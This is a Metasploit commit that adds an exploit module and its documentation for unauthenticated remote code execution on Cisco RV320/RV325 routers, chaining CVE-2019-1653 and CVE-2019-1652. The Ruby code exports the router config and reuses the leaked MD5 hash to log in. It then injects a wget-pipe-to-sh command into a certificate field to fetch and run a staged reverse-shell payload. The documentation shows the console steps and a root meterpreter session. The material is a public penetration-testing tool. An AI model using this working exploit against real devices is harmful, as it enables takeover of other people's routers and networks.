Land #11482, RV320 Unauthenticated RCE

master
Brent Cook 2019-03-28 17:53:05 -05:00
commit 0a24266029
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 355 additions and 0 deletions

View File

@ -0,0 +1,148 @@
## Intro
This module automatically exploits two vulnerabilities to create an effectively
unauthenticated remote code execution on RV320 and RV325 routers.
The module will perform the following steps:
First the module will download the configuration. Then it will extract the MD5
password hash for the web interface user. The MD5 password hash is directly
accepted during login instead of the plain text password. With the MD5 hash the
module will authenticate to the web interface of the router and get a valid
authentication cookie.
The second step is using the authentication cookie to
send an authenticated request to the web interface which exploits a command
injection vulnerability. The injection is limited to ~50 characters. Therefore,
the module uses a web server to stage a shell payload for the MIPS64
architecture of the router. Depending on the payload the module will result in
a shell or meterpreter session.
## Vulnerable Application:
Cisco Small Business Routers RV320 and RV325 with firmware versions between
1.4.2.15 and 14.2.20.
Link to vulnerable Firmware Version:
https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20?i=!pp
Links to Advisories:
Part 1 of the exploit (configuration download):
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
Part 2 of the exploit (command injection in web interface):
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
Advisories by vendor:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
## Options
**RHOSTS**
Configure the remote vulnerable system.
**RPORT**
Configure the TCP port of the HTTP/HTTPS management web interface.
**USE_SSL**
This flag controls whether the remote management web interface is accessible
via HTTPS or not. Should be false for HTTP and true for HTTPS.
**PAYLOAD**
Configure the Metasploit payload that you want to stage. Must be for MIPS64
arch. Set payload Options accordingly.
**SRVHOST**
The module stages the payload via a web server. This is the binding interface
IP. Default can be set to 0.0.0.0.
**HTTPDelay**
This configures how long the module should wait for the incoming HTTP
connection to the HTTP stager.
## Verification Steps:
1. Have exploitable RV320 or RV325 router (exampe IP: 192.168.1.1):
2. Start `msfconsole`:
3. Do: ```use exploit/linux/http/cisco_rv32x_rce```
4. Do: ```set RHOSTS 192.168.1.1```
5. Do: ```set payload linux/mips64/meterpreter_reverse_tcp``` (Set the MIPS64 payload you want to use)
6. Do: ```set LHOST 192.168.1.2``` (Setting your own IP here, example: 192.168.1.2)
7. Do: ```set RPORT 8007``` (Set the remote Port on which the router web interface is accessible)
8. Do: ```run```
9. Gives you a privileged (uid=0) shell or in the example a meterpreter session.
## Scenario
Exploiting a vulnerable RV320 router with publicly accessible HTTPS web
interface on TCP port 443:
```
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
msf5 exploit(linux/http/cisco_rv32x_rce) > run
```
Demo example output for the module:
```
msf5 > use exploit/linux/http/cisco_rv32x_rce
msf5 exploit(linux/http/cisco_rv32x_rce) > show options
Module options (exploit/linux/http/cisco_rv32x_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 8007 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
USE_SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 LINUX MIPS64
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
payload => linux/mips64/meterpreter_reverse_tcp
msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
RPORT => 443
msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
USE_SSL => true
msf5 exploit(linux/http/cisco_rv32x_rce) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.2:8080/
[*] Server started.
[*] Downloading configuration from 192.168.1.1:443
[*] Using SSL connection to router.
[*] Successfully downloaded config
[*] Got MD5-Hash: dfead10390e560aea745ccba53e044ed
[*] Loging in as user cisco using password hash.
[*] Using default auth_key 1964300002
[*] Successfully logged in as user cisco.
[*] Got cookies: mlap=RGVmYXVsdDE6Ojo6Y2lzY28=;
[*] Sending payload. Staging via http://192.168.1.2:8080/.
[*] 192.168.1.1:443 - Payload request received: /
[*] Waiting for stager connection timed out. Try increasing the delay.
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:48580) at 2019-03-14 10:00:00 +0100
[*] Server stopped.
meterpreter > getuid
Server username: uid=0, gid=99, euid=0, egid=99
```

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
'Description' => %q{
This exploit module combines an information disclosure (CVE-2019-1653)
and a command injection vulnerability (CVE-2019-1652) together to gain
unauthenticated remote code execution on Cisco RV320 and RV325 small business
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
on port 443 or HTTP on port 8007 on some older firmware versions.
},
'License' => MSF_LICENSE,
'Author' => [
'RedTeam Pentesting GmbH', # Discovery, Metasploit
'Philip Huppert', # Discovery
'Benjamin Grap' # Metasploit
],
'References' => [
[ 'CVE','2019-1653' ],
[ 'CVE','2019-1652' ],
[ 'EDB','46243' ],
[ 'BID','106728' ],
[ 'BID','106732' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'LINUX MIPS64',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS64
}
]
],
'Payload' =>
{
'BadChars' => ""
},
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => true,
'DisclosureDate' => "Sep 9 2018",
'DefaultTarget' => 0))
register_options([
Opt::RPORT(8007), # port of Cisco webinterface
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
])
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
deregister_options('SSLCert') # not required since stager only uses HTTP.
end
def execute_command(cmd, opts = {})
# use generated payload, we don't have to do anything here
end
def autofilter
true
end
def on_request_uri(cli, req)
print_status("#{peer} - Payload request received: #{req.uri}")
@cmdstager = generate_cmdstager().join(';')
send_response(cli, "#{@cmdstager}")
end
def primer
payload_url = get_uri
print_status("Downloading configuration from #{peer}")
if(datastore['USE_SSL'])
print_status("Using SSL connection to router.")
end
res = send_request_cgi({
'uri' => normalize_uri("cgi-bin","config.exp"),
'SSL' => datastore['USE_SSL']
})
unless res
vprint_error('Connection failed.')
return nil
end
unless res.code == 200
vprint_error('Could not download config. Aborting.')
return nil
end
print_status("Successfully downloaded config")
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
pass = res.body.match(/^PASSWD=(\h+)/)[1]
authkey = "1964300002"
print_status("Got MD5-Hash: #{pass}")
print_status("Loging in as user #{username} using password hash.")
print_status("Using default auth_key #{authkey}")
res2 = send_request_cgi({
'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
})
unless res
vprint_error('Connection failed during login. Aborting.')
return nil
end
unless res.code == 200
vprint_error('Login failed with downloaded credentials. Aborting.')
return nil
end
#Extract authentication cookies
cookies = res2.get_cookies()
print_status("Successfully logged in as user #{username}.")
print_status("Got cookies: #{cookies}")
print_status("Sending payload. Staging via #{payload_url}.")
#Build staging command
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
if(command_string.length <= 63)
print_status("Staging command length looks good. Sending exploit!")
else
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
end
res3 = send_request_cgi({
'uri' => normalize_uri("certificate_handle2.htm"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'cookie' => cookies,
'vars_get' => {
'type' => '4',
},
'vars_post' => {
'page' => 'self_generator.htm',
'totalRules' => '1',
'OpenVPNRules' => '30',
'submitStatus' => '1',
'log_ch' => '1',
'type' => '4',
'Country' => 'A',
'state' => 'A',
'locality' => 'A',
'organization' => 'A',
'organization_unit' => 'A',
'email' => 'any@example.com',
'KeySize' => '512',
'KeyLength' => '1024',
'valid_days' => '30',
'SelectSubject_c' => '1',
'SelectSubject_s' => '1'
},
'data' => "common_name=#{command_string}"
})
unless res3
vprint_error('Connection failed while sending command. Aborting.')
return nil
end
unless res3.code == 200
vprint_error('Sending command not successful.')
return nil
end
print_status("Sending payload timed out. Waiting for stager to connect...")
end
def check
#Check if device is vulnerable by downloading the config
res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
unless res
vprint_error('Connection failed.')
return CheckCode::Unknown
end
unless res.code == 200
return CheckCode::Safe
end
unless res.body =~ /PASSWD/
return CheckCode::Detected
end
CheckCode::Vulnerable
end
def exploit
# Main function.
# Setting delay for the Stager.
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
print_status("Waiting for stager connection timed out. Try increasing the delay.")
end
end